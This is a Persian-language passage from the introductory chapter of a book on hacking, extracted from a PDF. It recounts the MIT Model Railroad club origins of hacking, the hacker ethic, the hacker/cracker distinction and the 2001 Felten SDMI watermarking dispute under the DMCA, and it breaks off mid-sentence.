‫‪195‬‬ ‫اﺑﺰار ﻣﻮرد اﺳﺘﻔﺎده در ﮐﺘﺎب‬

‫‪4‬‬
‫ﻓﺼﻞ ‪ :1‬ﻣﻘﺪﻣﻪ‬
‫ﻣﻔﻬﻮم ﻫﮑﯿﻨﮓ ﻣﻤﮑﻦ اﺳﺖ در ذﻫﻦ ﺗﺼﺎوﯾﺮی از ﺧﺮاﺑﮑﺎری اﻟﮑﺘﺮوﻧﯿﮑﯽ‪ ،‬ﺟﺎﺳﻮﺳﯽ و ﻣﻮاردی از اﯾﻦ دﺳﺖ ﺗﺪاﻋﯽ ﮐﻨﺪ‪.‬‬
‫ﺑﺴﯿﺎری از اﻓﺮاد ﻫﮏ ﮐﺮدن را ﺑﺎ ﺷﮑﺴﺘﻦ ﻗﺎﻧﻮن در ارﺗﺒﺎط ﻧﺰدﯾﮏ ﻣﯽ داﻧﻨﺪ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ در اﯾﻦ راﺳﺘﺎ‪ ،‬ﺗﻤﺎم اﻓﺮادی را ﮐﻪ‬
‫ﺑﻪ ﻓﻌﺎﻟﯿﺖ ﻫﺎی ﻫﮑﯿﻨﮓ ﻣﺠﺬوب ﮔﺸﺘﻪ اﻧﺪ‪ ،‬ﻣﺴﺎوی ﺑﺎ ﺑﺰﻫﮑﺎران و ﻣﺠﺮﻣﺎن )اﻟﮑﺘﺮوﻧﯿﮑﯽ( ﻣﯽ داﻧﻨﺪ‪ .‬اﮔﺮﭼـﻪ اﻓـﺮادی از‬
‫ﺗﮑﻨﯿﮏ ﻫﺎی ﻫﮑﯿﻨﮓ ﺑﺮای ﻗﺎﻧﻮن ﺷﮑﻨﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪ ،‬اﻣﺎ ﻣﺎﻫﯿﺖ اﯾﻦ ﻋﻠﻢ در اﺻﻞ اﯾﻨﮕﻮﻧﻪ ﻧﯿﺴﺖ‪.‬‬
‫ﻣﺎﻫﯿﺖ و ذات ﻫﮑﯿﻨﮓ‪ ،‬ﭘﯿﺪا ﮐﺮدن ﮐﺎرﺑﺮدﻫﺎی ﻏﯿﺮﻣﻌﻤﻮل و دور از اﻧﺘﻈـﺎر ﺑـﺮای ﻗـﻮاﻧﯿﻦ و ﺧـﺼﻮﺻﯿﺎتِ ﯾـﮏ وﺿـﻌﯿﺖ‬
‫ﻣﺸﺨﺺ و ﺳﭙﺲ اﻋﻤﺎل آﻧﻬﺎ در ﻗﺎﻟﺐ روش ﻫﺎی ﺟﺪﯾﺪ ﺟﻬـﺖ ﺣـﻞ آن ﻣـﺴﺌﻠﻪ اﺳـﺖ‪ .‬ﯾـﮏ ﻣـﺴﺌﻠﻪ ﻣﻤﮑـﻦ اﺳـﺖ ﻋـﺪم‬
‫دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﯾﮏ ﺳﯿﺴﺘﻢ ﮐﺎﻣﭙﯿﻮﺗﺮی ﺑﺎﺷﺪ ﯾﺎ ﭘﯿﺪا ﮐﺮدن روﺷﯽ ﮐﻪ ﺑﺘـﻮان ﺑـﺎ اﺳـﺘﻔﺎده از ﺗﺠﻬﯿـﺰات ﺗﻠﻔﻨـﯽ ﻗـﺪﯾﻤﯽ‪ ،‬ﯾـﮏ‬
‫ﺳﯿﺴﺘﻢ ﻣﺪل ‪ Rail Road‬را ﮐﻨﺘﺮل ﮐﺮد‪ .‬ﻣﻌﻤﻮﻻ ﻫﮑﯿﻨﮓ راه ﺣﻞ ﭼﻨﯿﻦ ﻣﺴﺎﺋﻠﯽ را ﺑﻪ ﻃﺮﯾﻖ ﻣﻨﺤﺼﺮ ﺑﻔﺮدی اراﺋﻪ ﻣﯿﮑﻨﺪ‬
‫ﮐﻪ ﺑﺎ روش ﻫﺎی ﻣﺘﻌﺎرف و ﺳﻨﺘﯽ ﺑﺴﯿﺎر ﺗﻔﺎوت دارد‪.‬‬
‫در اواﺧﺮ دﻫﻪ ‪ 1950‬ﻣﯿﻼدی‪ ،‬ﺑﻪ ﺑﺎﺷـﮕﺎهِ ‪ MIT Model Railroad‬ﻫﺪﯾـﻪ ای داده ﺷـﺪ ﮐـﻪ ﻗـﺴﻤﺖ ﻋﻤـﺪه آن‪ ،‬اﺑـﺰار‬
‫ﻗﺪﯾﻤﯽ ﺗﻠﻔﻦ ﺑﻮد‪ .‬اﻋﻀﺎی اﯾﻦ ﺑﺎﺷﮕﺎه از ﺗﺠﻬﯿﺰات ﻓﻮق ﺟﻬﺖ ﻓﺮﯾﺐ دادن ﯾﮏ ﺳﯿﺴﺘﻢ ﭘﯿﭽﯿﺪه اﺳـﺘﻔﺎده ﮐﺮدﻧـﺪ ﮐـﻪ ﺑـﻪ‬
‫ﭼﻨﺪﯾﻦ ﻣﺘﺼﺪی )‪ (operator‬اﺟﺎزه ﮐﻨﺘﺮل ﻗﺴﻤﺖ ﻫﺎی ﻣﺨﺘﻠﻒ ﺧﻂ را ﺑﺎ ﺷﻤﺎره ﮔﯿﺮی ﺑﻪ ﻗﺴﻤﺖ ﻣﻨﺎﺳﺐ ﻣـﯽ داد‪ .‬آﻧﻬـﺎ‬
‫اﯾﻦ اﺳﺘﻔﺎده ﻣﺒﺘﮑﺮاﻧﻪ و ﺟﺪﯾﺪ از ﺗﺠﻬﯿﺰات را ﻫﮑﯿﻨﮓ )‪ (Hacking‬ﻧﺎﻣﯿﺪﻧـﺪ و ﺑـﺴﯿﺎری اﯾـﻦ ﮔـﺮوه را ﻫﮑﺮﻫـﺎی اوﻟﯿـﻪ‬
‫ﻗﻠﻤﺪاد ﻣﯽ ﮐﺮدﻧﺪ‪ .‬آﻧﻬﺎ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ روی ﭘﺎﻧﭻ ﮐﺎرﺗﻬﺎ و ﻧﻮارﻫﺎی ﺗﻠﮕﺮاﻓـﯽ )‪ (ticker tape‬در ﮐﺎﻣﭙﯿﻮﺗﺮﻫـﺎی اوﻟﯿـﻪ‬
‫ﻣﺎﻧﻨﺪ ‪ IBM 704‬و ‪ T.X-0‬روی آوردﻧﺪ؛ در ﺣﺎﻟﯿﮑﻪ دﯾﮕﺮان ﺗﻨﻬﺎ ﺑﻪ ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﻣﯽ ﭘﺮداﺧﺘﻨﺪ ﮐﻪ ﺻﺮﻓﺎ ﺑﺘﻮاﻧـﺪ‬
‫ﻣﺸﮑﻼت را ﺣﻞ ﮐﻨﺪ‪ .‬اﻣﺎ ﺑﺮای اﯾﻨﮑﻪ ﻫﮑﺮﻫﺎی اوﻟﯿﻪ ﺑﺘﻮاﻧﻨﺪ ﺑﺮﻧﺎﻣﻪ ﻫﺎ را ﺑﺨﻮﺑﯽ ﺑﻨﻮﯾـﺴﻨﺪ‪ ،‬ﺧـﻮد را درﮔﯿـﺮ ﭼـﺎﻟﺶ ﻫـﺎی‬
‫ﺑﺴﯿﺎری ﻣﯽ ﻧﻤﻮدﻧﺪ‪ ،‬ﺑﺮﻧﺎﻣﻪ ای ﮐﻪ ﺑﺎ ﺗﻌﺪاد ﭘﺎﻧﭻ ﮐﺎرﺗﻬﺎی ﮐﻤﺘﺮ ﺑﺘﻮاﻧﺪ ﻫﻤﺎن ﻧﺘﺎﯾﺞ را ﺣﺎﺻﻞ دﻫﺪ‪ .‬ﺗﻔﺎوت ﮐﻠﯿﺪی ﺑﯿﻦ اﯾﻦ‬
‫دو راﻫﺒﺮد‪ ،‬رﯾﺰه ﮐﺎری ﺑﺮﻧﺎﻣﻪ در ﻧﯿﻞ ﺑﻪ ﻧﺘﺎﯾﺞ ﺑﻮد‪.‬‬
‫ﺗﻮاﻧﺎﯾﯽ ﮐﺎﻫﺶ ﺗﻌﺪاد ﭘﺎﻧﭻ ﮐﺎرﺗﻬﺎ ﺑﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ‪ ،‬ﻧﻮﻋﯽ ﺳﻠﻄﻪ ﻫﻨﺮی ﺑﺮ ﮐﺎﻣﭙﯿﻮﺗﺮ ﺑﻮد‪ .‬آﻧﻬـﺎﯾﯽ ﮐـﻪ اﯾـﻦ ﻫﻨـﺮ را درک‬
‫ﻣﯿﮑﺮدﻧﺪ‪ ،‬اﯾﻦ ﺗﻮاﻧﺎﯾﯽ را ﻣﻮرد ﺗﺤﺴﯿﻦ و ﻗﺪرداﻧﯽ ﻗﺮار ﻣﯽ دادﻧﺪ‪ .‬ﻫﮑﺮﻫﺎی اوﻟﯿﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ را از وﻇﯿﻔﻪ ای ﻣﻬﻨﺪﺳﯽ‬
‫ﺑﻪ ﯾﮏ ﻗﺎﻟﺐ ﻫﻨﺮی ﺗﺒﺪﯾﻞ ﮐﺮدﻧﺪ‪ .‬اﯾﻦ ﻫﻨﺮ ﻧﯿﺰ ﻣﺎﻧﻨﺪ دﯾﮕﺮ ﻫﻨﺮﻫﺎ ﺗﻮﺳﻂ اﻓﺮادی ﮐﻪ آﻧﺮا درک ﻣﯽ ﮐﺮدﻧﺪ ﻣﻮرد ﺗﻘﺪﯾﺲ‬
‫و ﺗﻘﺪﯾﺮ ﻗﺮار ﻣﯽ ﮔﺮﻓﺖ و اﻓﺮاد ﻧﺎ آﮔﺎه ﻫﻢ ﭼﯿﺰی از آن ﺳﺮ در ﻧﻤﯽ آوردﻧﺪ‪.‬‬
‫اﯾﻦ روش ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﯾﮏ ﺧﺮده ﻓﺮﻫﻨﮓ ﻏﯿﺮرﺳﻤﯽ را ﺑﻮﺟﻮد آورد ﮐﻪ دوﺳـﺘﺪاران زﯾﺒـﺎﯾﯽ ﻫـﮏ را از ﺑـﯽ ﺗﻮﺟﻬـﺎن‬
‫ﻧﺴﺒﺖ ﺑﻪ آن ﺗﻤﯿﯿﺰ ﻣﯽ داد‪ .‬اﯾﻦ ﺧﺮده ﻓﺮﻫﻨﮓ ﺑﺸﺪت ﺑﺮ ﯾﺎدﮔﯿﺮی ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ و ﺑﺪﺳﺖ آوردن ﺳﻄﻮح ﺗـﺴﻠﻂ ﺑـﺎﻻﺗﺮ‬
‫ﻣﺘﻤﺮﮐﺰ ﺑﻮد‪ .‬آﻧﻬﺎ ﻣﻌﺘﻘﺪ ﺑﻮدﻧﺪ ﮐﻪ اﻃﻼﻋﺎت ﺑﺎﯾﺴﺘﯽ آزاد )راﯾﮕﺎن( ﺑﺎﺷﺪ و ﺑﺎ ﻫﺮ ﭼﯿﺰی ﮐـﻪ در ﻣـﺴﯿﺮ اﯾـﻦ آزادی ﻗـﺮار‬
‫ﻣﯿﮕﯿﺮد ﺑﺮﺧﻮرد ﺷﻮد‪ .‬ﻣﻮاﻧﻌﯽ ﻫﻤﭽﻮن ﻣﻘﺎﻣـﺎت ﻣـﺴﺌﻮل‪ ،‬ﺑﻮروﮐﺮاﺳـﯽ ﮐـﻼس ﻫـﺎی درﺳـﯽ و ﺗﺒﻌـﯿﺾ ﺑـﻪ آزاد ﻧﺒـﻮدن‬
‫اﻃﻼﻋﺎت داﻣﻦ ﻣﯽ زدﻧﺪ‪ .‬در درﯾﺎﯾﯽ از داﻧﺸﺠﻮﯾﺎن ﻓﺎرغ اﻟﺘﺤﺼﯿﻞ‪ ،‬اﯾﻦ ﮔﺮوه ﻏﯿﺮرﺳﻤﯽ از ﻫﮑﺮﻫﺎ ﺑﺠﺎی ﻓﮑﺮ ﮐـﺮدن ﺑـﻪ‬
‫ﻫﺪف ﮐﻬﻨﻪ ی ﺑﺪﺳﺖ آوردن درﺟﺎت )ﻧﻤﺮات( ﺑﺎﻻﺗﺮ‪ ،‬ﺑﻪ ﻓﮑﺮ اﻓﺰاﯾﺶ اﻃﻼﻋﺎت ﺧـﻮد ﺑﻮدﻧـﺪ‪ .‬اﯾـﻦ ﮐـﺸﺶ داﺋـﻢ ﺟﻬـﺖ‬
‫ﯾﺎدﮔﯿﺮی و ﮐﺸﻒ ﺑﺮﺗﺮی ﺑﺮ ﻣﺤﺪودﯾﺖ ﻫﺎی رﺳﻤﯽ و ﺳﻨﺘﯽ ﻣﻨﺠﺮ ﺑﻪ ﭘﺬﯾﺮش ﯾﮏ داﻧﺶ آﻣـﻮز دوازده ﺳـﺎﻟﻪ در ﮔـﺮوه‬
‫آﻧﻬﺎ ﺷﺪ‪ .‬اﯾﻦ داﻧﺶ آﻣﻮز اﻃﻼﻋﺎت ﺧﻮﺑﯽ در ﻣﻮرد ‪ mainframe‬ﻫﺎی ‪ TX-0‬داﺷﺖ و ﻋﻼﻗﻪ ﺑﺴﯿﺎری ﺑﻪ آﻣﻮﺧﺘﻦ ﻧـﺸﺎن‬
‫ﻣﯽ داد‪ .‬ﺳﻦ‪ ،‬ﻧﮋاد‪ ،‬ﺟﻨﺴﯿﺖ‪ ،‬ﻣﻠﯿﺖ‪ ،‬ﻣﺤﻞ زﻧﺪﮔﯽ‪ ،‬ﺷﮑﻞ ﻇﺎﻫﺮی‪ ،‬ﻣﺬﻫﺐ‪ ،‬درﺟﻪ آﮐﺎدﻣﯿﮏ و وﺿﻌﯿﺖ اﺟﺘﻤﺎﻋﯽ ﺑﻪ ﻋﻨـﻮان‬
‫ﻣﻌﯿﺎر اﺻﻠﯽ ﺑﺮای ﻗﻀﺎوت در ﻣﻮرد دﯾﮕﺮان ﻧﺒﻮد و اﯾﻦ ﻧﻪ ﺑﻪ دﻟﯿﻞ ﺑﺮاﺑﺮی ﻃﻠﺒﯽ‪ ،‬ﺑﻠﮑﻪ ﺑﻪ دﻟﯿﻞ ﺗﻤﺎﯾﻞ در ﺟﻬﺖ ﭘﯿـﺸﺮﻓﺖ‬
‫ﻫﻨﺮ ﺟﺪﯾﺪ اﻟﻮﻻده ﻫﮑﯿﻨﮓ ﺑﻮد‪.‬‬
‫ﻫﮑﺮﻫﺎ‪ ،‬ﺷﮑﻮه و ﻋﻈﻤﺘﯽ را در ﻋﻠﻮم ﺧﺸﮏ و ﻗﺮاردادی رﯾﺎﺿﯽ و اﻟﮑﺘﺮوﻧﯿـﮏ ﭘﯿـﺪا ﮐﺮدﻧـﺪ‪ .‬آﻧﻬـﺎ ﺑﺮﻧﺎﻣـﻪ ﻧﻮﯾـﺴﯽ را در‬
‫ﻗﺎﻟﺐ ﺗﺠﻠﯽ ﻫﻨﺮی ﻣﯽ دﯾﺪﻧﺪ و ﮐﺎﻣﭙﯿﻮﺗﺮ اﺑﺰار و اﺳﺒﺎب ﻫﻨﺮی آﻧﻬﺎ ﺑﻮد‪ .‬اﯾـﻦ ارزش ﻫـﺎی ﻣﻨﺒﻌـﺚ از داﻧـﺶ در ﻧﻬﺎﯾـﺖ‬
‫‪5‬‬
‫ﺗﺤﺖ ﻋﻨﻮان اﺧﻼق ﻫﮑﺮی )‪ (Hacker's Ethic‬ﻧﺎﻣﮕﺬاری ﺷﺪ‪ .‬اﺧﻼق ﻫﮑﺮی ﺑﻪ ﻣﻌﻨﯽ ﺳـﺘﻮدن ﻣﻨﻄـﻖ ﺑـﻪ ﻋﻨـﻮان ﯾـﮏ‬
‫اﺑﺰار ﻫﻨﺮی و ﺗﺮﻗﯿﺐ ﺟﺮﯾﺎن آزاد اﻃﻼﻋﺎت‪ ،‬ﺑﺮ ﻃﺮف ﮐﺮدن ﻣﺮزﻫﺎ و ﻣﺤﺪودﯾﺖ ﻫﺎی ﻗﺮاردادی ﺑﻪ ﻣﻨﻈﻮر ﻓﻬﻢ ﺑﻬﺘﺮ دﻧﯿﺎ‬
‫ﺑﻮد‪ .‬اﯾﻦ ﯾﮏ روﯾﺪاد ﺟﺪﯾﺪ ﻧﺒﻮد؛ ﭘﯿـﺮوان ﻓﯿﺜـﺎﻏﻮرس در ﯾﻮﻧـﺎن ﺑﺎﺳـﺘﺎن ﻧﯿـﺰ دارای اﺧﻼﻗﯿـﺎت و ﺧـﺮده ﻓﺮﻫﻨـﮓ ﻫـﺎی‬
‫ﻣﺸﺎﺑﻬﯽ ﺑﻮدﻧﺪ‪ ،‬ﮔﺮﭼﻪ ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ دﺳﺘﺮﺳﯽ ﻧﺪاﺷـﺘﻨﺪ‪ .‬آﻧﻬـﺎ زﯾﺒـﺎﯾﯽ را در رﯾﺎﺿـﯿﺎت ﻣـﯽ دﯾﺪﻧـﺪ و ﺑـﺴﯿﺎری از ﻣﻔـﺎﻫﯿﻢ‬
‫اﺳﺎﺳﯽ و اﺻﻠﯽ را در ﻋﻠﻮم ﻫﻨﺪﺳﻪ ﮐﺸﻒ ﮐﺮدﻧﺪ‪ .‬ﺗﺸﻨﮕﯽ و اﺷﺘﯿﺎق آﻧﻬﺎ ﺑﺮای ﮐﺴﺐ و ﯾﺎﻓﺘﻪ ﻫﺎی آﻧﻬﺎ در ﻃﻮل ﺗﺎرﯾﺦ )از‬
‫ﻓﯿﺜﺎﻏﻮرس ﺗﺎ آدا ﻟﻮﺑﻼس‪ ،‬آﻟﻦ ﺗﺮﯾﻨﮓ و ﻫﮑﺮﻫﺎی ﺑﺎﺷﮕﺎه ‪ (MIT Model Railroad‬ﺑﺎﻗﯽ ﻣـﯽ ﻣﺎﻧـﺪ‪ .‬ﭘﯿـﺸﺮﻓﺖ ﻋﻠـﻮم‬
‫ﮐﺎﻣﭙﯿﻮﺗﺮی ﻫﻤﭽﻨﺎن اداﻣﻪ ﻣـﯽ ﯾﺎﺑـﺪ و ﺑـﻪ اﻓـﺮادی ﻣﺎﻧﻨـﺪ رﯾﭽـﺎرد اﺳـﺘﺎﻟﻤﻦ )‪ (Richard Stallman‬و اﺳـﺘﯿﻮ وﺳـﻨﯿﺎک‬
‫)‪ (Steve Wozniak‬ﻣﯽ رﺳﺪ‪ .‬اﯾﻦ ﻫﮑﺮﻫﺎ ﺑﺮای ﻣﺎ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﻫﺎی ﻣﺪرن‪ ،‬زﺑﺎن ﻫﺎی ﺑﺮﻧﺎﻣـﻪ ﻧﻮﯾـﺴﯽ‪ ،‬ﮐﺎﻣﭙﯿﻮﺗﺮﻫـﺎی‬
‫ﺷﺨﺼﯽ ﻣﺪرن و ﭘﯿﺸﺮﻓﺖ ﻫﺎی ﻓﻨﯽ ﺑﺴﯿﺎری را ﮐﻪ ﻫﺮ روز ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ ،‬ﺑﻪ ارﻣﻐﺎن آوردﻧﺪ‪.‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ ﭼﮕﻮﻧﻪ ﻣﯽ ﺗﻮان ﺑﯿﻦ ﻫﮑﺮﻫﺎی ﺧﻮب )ﮐﻪ ﺑﺮای ﻣﺎ ﭘﯿﺸﺮﻓﺖ ﻫﺎی ﻓﻨﯽ را ﺑﻪ ارﻣﻐﺎن ﻣﯽ آوردﻧﺪ( و ﻫﮑﺮﻫﺎی ﻣﻀﺮ‬
‫)ﮐﻪ اﻃﻼﻋﺎت ﻣﺎ را ﺳﺮﻗﺖ ﻣﯽ ﮐﻨﻨﺪ( ﺗﻤﺎﯾﺰ ﻗﺎﺋﻞ ﺷﺪ؟! ﺑﻪ اﯾﻦ ﺻﻮرت واژه ﮐِﺮَﮐِﺮ )‪ ،(Cracker‬ﺧﻄﺎب ﺑﻪ ﻫﮑﺮﻫﺎی ﻣـﻀﺮ‬
‫اﺳﺘﻔﺎده ﺷﺪ‪ ،‬ﺗﺎ آﻧﻬﺎ را از ﻫﮑﺮﻫﺎی ﺧﻮب و ﻣﻔﯿﺪ ﻣﺘﻤﺎﯾﺰ ﺳﺎزد‪ .‬روزﻧﺎﻣﻪ ﻧﮕﺎرﻫﺎ و ﻧﻮﯾﺴﻨﺪه ﻫﺎ ﻫﺮ روزه اذﻋﺎن ﺑﻪ ﺑﺪ ﺑﻮدن‬
‫ﮐﺮﮐﺮﻫﺎ ﻣﯽ ﮐﺮدﻧﺪ‪ ،‬در ﺣﺎﻟﯿﮑﻪ ﻫﮑﺮﻫﺎ اﻓﺮادی ﻣﻔﯿﺪ و ﺧﻮب ﺑﻮدﻧﺪ‪ .‬ﻫﮑﺮﻫﺎ در اﺧﻼق ﻫﮑﺮی راﺳﺖ و ﭘﺎﺑﺮﺟﺎ ﻣﺎﻧﺪﻧﺪ‪ ،‬اﻣـﺎ‬
‫ﮐﺮﮐﺮﻫﺎ ﺗﻨﻬﺎ ﻋﻼﻗﻪ ﻣﻨﺪ ﺑﻪ ﺷﮑﺴﺘﻦ ﻗﺎﻧﻮن ﺑﻮدﻧﺪ‪ .‬ﮐﺮﮐﺮﻫﺎ در ﻣﻘﺎﺑﻞ ﻫﮑﺮﻫﺎ ﺑﺎ اﺳﺘﻌﺪادﻫﺎی ﺑﯿﺸﺘﺮی ﺑﻪ ﻧﻈـﺮ ﻣـﯽ آﻣﺪﻧـﺪ‪،‬‬
‫وﻟﯽ در ﺣـﻘﯿﻘﺖ آﻧﻬﺎ از اﺑﺰارﻫﺎ و اﺳﮑﺮﯾﭙﺖ ﻫﺎﯾﯽ ﮐﻪ ﻫﮑﺮﻫﺎ ﻧﻮﺷﺘﻪ و ﻃﺮاﺣﯽ ﮐﺮده ﺑﻮدﻧﺪ اﺳـﺘﻔﺎده ﻣـﯽ ﮐﺮدﻧـﺪ‪ .‬ﻋﻨـﻮان‬
‫ﮐﺮﮐﺮ ﺑﻪ ﻓﺮدی ﮐﻪ ﮐﺎری ﻏﯿﺮاﺧﻼﻗﯽ ﺑﺎ ﮐﺎﻣﭙﯿﻮﺗﺮ اﻧﺠﺎم ﻣﯽ داد اﻃﻼق ﻣﯽ ﺷﺪ‪ -‬ﮐﭙﯽ ﮐﺮدن ﻧﺮم اﻓﺰارﻫﺎ ﺑـﻪ ﺻـﻮرت ﻏﯿـﺮ‬
‫ﻗﺎﻧﻮﻧﯽ‪ deface ،‬ﮐﺮدن وب ﺳﺎﯾﺘﻬﺎ و ﺑﺪﺗﺮ از ﻫﻤﻪ اﯾﻦ ﮐﻪ ﺧﻮد ﻧﻤﯽ داﻧﺴﺘﻨﺪ‪ ،‬ﭼﻪ ﻣﯽ ﮐﻨﻨﺪ‪ .‬اﻣﺎ اﻣﺮوزه اﻓﺮاد ﻣﻌـﺪودی از‬
‫اﯾﻦ ﮐﻠﻤﻪ ﺑﺮای اﯾﻦ ﻣﻨﻈﻮر اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫ﻧﺒﻮدن ﻋﺒﺎرات ﻫﻤﻪ ﻓﻬﻢ ﻣﻤﮑﻦ اﺳﺖ ﻧﺎﺷﯽ از ﺗﻌﺎرﯾﻒ ﻧﺎﻣﻨﺎﺳﺐ آن ﻋﺒﺎرات ﺑﺎﺷﺪ‪ -‬ﮐﻠﻤﻪ ﮐﺮﮐﺮ در اﺻـﻞ ﺑـﺮای ﺗﻮﺻـﯿﻒ‬
‫اﻓﺮادی ﺑﮑﺎر ﻣﯽ رﻓﺖ ﮐـﻪ ﻧـﺮم اﻓﺰارﻫـﺎی ﮐﭙـﯽ راﯾـﺖ را ﮐـﺮک و اﻟﮕﻮﻫـﺎی ﻣﺤﺎﻓﻈـﺖ از ﮐﭙـﯽ‪ 2‬را ﻣﻬﻨﺪﺳـﯽ ﻣﻌﮑـﻮس‬
‫ﻣﯿﮑﺮدﻧﺪ‪ .‬ﻋﺒﺎرت ﮐﺮﮐﺮ ﻣﻤﮑﻦ اﺳﺖ ﺑﺴﺎدﮔﯽ از ﺗﻌﺮﯾﻒ ﺟﺪﯾﺪش ﺳﺮﭼﺸﻤﻪ ﮔﯿﺮد ﮐﻪ ﻫـﻢ ﺑـﻪ ﮔﺮوﻫـﯽ از اﻓـﺮاد ﮐـﻪ ﺑـﻪ‬
‫ﺻﻮرت ﻏﯿﺮﻗﺎﻧﻮﻧﯽ ﺑﺎ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﺎر ﻣﯽ ﮐﻨﻨﺪ و ﻫﻢ ﺑﻪ اﻓﺮادی ﮐﻪ ﻧﺴﺒﺘﺎ ﻫﮑﺮﻫﺎی ﺧﺎم و ﺑﯽ ﺗﺠﺮﺑﻪ ﻫﺴﺘﻨﺪ‪ ،‬اﻃﻼق ﻣﯽ ﺷﻮد‪.‬‬
‫ﭼﻨﺪی از روزﻧﺎﻣﻪ ﻧﮕﺎران ﺣﺲ ﮐﺮدﻧﺪ ﮐﻪ ﻣﺠﺒﻮر ﺑﻪ ﻧﻮﺷﺘﻦ در ﻣﻮرد ﮔﺮوﻫﯽ ﺑﯽ ﺗﺠﺮﺑﻪ )ﺗﺤﺖ ﻋﻨﻮان ﮐﺮﮐﺮ( ﻫﺴﺘﻨﺪ ﮐـﻪ‬
‫ﻋﻤﻮم ﻣﺮدم ﺑﺎ آﻧﻬﺎ ﻧﺎ آﺷﻨﺎ ﻣﯽ ﺑﺎﺷﻨﺪ‪ .‬واژه ‪ Script Kiddie‬ﻧﯿﺰ ﺑﻪ ﮐﺮﮐﺮﻫـﺎ اﻃـﻼق ﻣـﯽ ﺷـﺪ‪ ،‬اﻣـﺎ ﺑـﻪ ﻣﻌﻨـﺎی ﻣـﺼﻄﻠﺢ‬
‫روزﻧﺎﻣﻪ ﻧﮕﺎران ﻧﺒﻮد‪ .‬ﻫﻨﻮز ﻋﺪه ای اﺳﺘﺪﻻل ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﺑﯿﻦ ﻫﮑﺮﻫﺎ و ﮐﺮﮐﺮﻫﺎ ﺗﻤﺎﯾﺰ وﺟﻮد دارد‪ .‬اﻣﺎ ﻣﻦ ﻣﻌﺘﻘـﺪ ﻫـﺴﺘﻢ‬
‫ﮐﻪ ﻫﺮﮐﺴﯽ ﮐﻪ دارای روح ﻫﮑﺮی اﺳﺖ‪ ،‬ﯾﮏ ﻫﮑﺮ اﺳﺖ‪ ،‬ﺻﺮﻓﻨﻈﺮ از اﯾﻨﮑﻪ آﯾﺎ او ﻗﺎﻧﻮن ﺷﮑﻨﯽ ﻣﯽ ﮐﻨﺪ ﯾﺎ ﺧﯿﺮ‪.‬‬
‫ﻗﻮاﻧﯿﻦ ﻣﺪرن ﺑﺎ ﻣﺤﺪود ﮐﺮدن رﻣﺰﻧﮕﺎری‪ 3‬و ﺗﺤﻘﯿﻘﺎت در اﯾﻦ راﺳـﺘﺎ‪ ،‬ﻣـﺮز ﺑـﯿﻦ ﻫﮑـﺮ و ﮐﺮﮐـﺮ را ﺑـﺎز ﻫـﻢ روﺷـﻦ ﺗـﺮ‬
‫ﻣﯿﺴﺎزﻧﺪ‪ .‬در ﺳﺎل ‪ ،2001‬ﭘﺮوﻓﺴﻮر ادوارد ﻓﻠﺘﻦ )‪ (Edward Felten‬و ﺗﯿﻢ ﺗﺤﻘﯿﻘﯽ اش از داﻧﺸﮕﺎه ﭘﺮﯾﻨـﺴﺘﻮن ﺑـﺮ آن‬
‫ﺑﻮدﻧﺪ ﮐﻪ ﻧﺘﺎﯾﺞ ﺗﺤﻘﯿﻘﺎﺗﺸﺎن را ﻣﻨﺘﺸﺮ ﮐﻨﻨﺪ‪ -‬ﻣﻘﺎﻟﻪ ای ﮐﻪ ﺿﻌﻒ ﻫﺎی ﻃﺮح ﻫﺎی ﻣﺨﺘﻠﻒ ‪ Digital Watermarking‬را‬
‫ﺑﻪ ﺗﺼﻮﯾﺮ ﻣﯽ ﮐﺸﯿﺪ‪.‬‬
‫اﯾﻦ ﻣﻘﺎﻟﻪ در ﺟﻮاب ﺑﻪ ﭼﺎﻟﺶ ﻃﻠﺒﯽ ﺷﺮﮐﺖ ﻣﻮﺳﯿﻘﯽ دﯾﺠﯿﺘﺎل اﯾﻤﻦ )‪ (SDMI‬اراﺋﻪ ﮔﺮدﯾﺪ ﮐﻪ ﻋﻤﻮم ﻣـﺮدم را در ﺟﻬـﺖ‬
‫ﺷﮑﺴﺘﻦ اﯾﻦ ﻃﺮح ﻫﺎی آﺑﮑﯽ )ﺿﻌﯿﻒ( ﺗﺸﻮﯾﻖ ﻣﯽ ﻧﻤﻮد‪ .‬ﻗﺒﻞ از اﯾﻨﮑﻪ آﻧﻬﺎ اﯾﻦ ﻣﻘﺎﻟﻪ را ﻣﻨﺘﺸﺮ ﮐﻨﻨﺪ‪ ،‬ﻫـﻢ ﺑﻨﯿـﺎد ‪SDMI‬‬
‫و ﻫﻢ ﺑﻨﯿﺎد ﻧﻬﺎد ﺿﺒﻂ روﯾﻪ ﻫﺎی آﻣﺮﯾﮑﺎ )‪ (RIAA‬را ﺗﻬﺪﯾﺪ ﮐﺮده ﺑﻮدﻧـﺪ‪ .‬ﻇـﺎﻫﺮا ﻗـﻮاﻧﯿﻦ ﮐﭙـﯽ راﯾـﺖ دﯾﺠﯿﺘـﺎﻟﯽ ﻫـﺰاره‬
‫)‪ (DMCA‬در ﺳﺎل ‪ ،1998‬ﺑﺤﺚ ﯾﺎ ﺗﺎﻣﯿﻦ ﺗﮑﻨﻮﻟﻮژی را ﮐﻪ اﻣﮑﺎن اﺳﺘﻔﺎده از آن ﺟﻬﺖ دور زدن ﮐﻨﺘﺮل ﻫـﺎی ﻣـﺼﺮﻓﯽ‬

‫‪2‬‬
‫‪Copy Protection Schemes‬‬
‫‪3‬‬
‫‪Cryptography‬‬
‫‪6‬‬
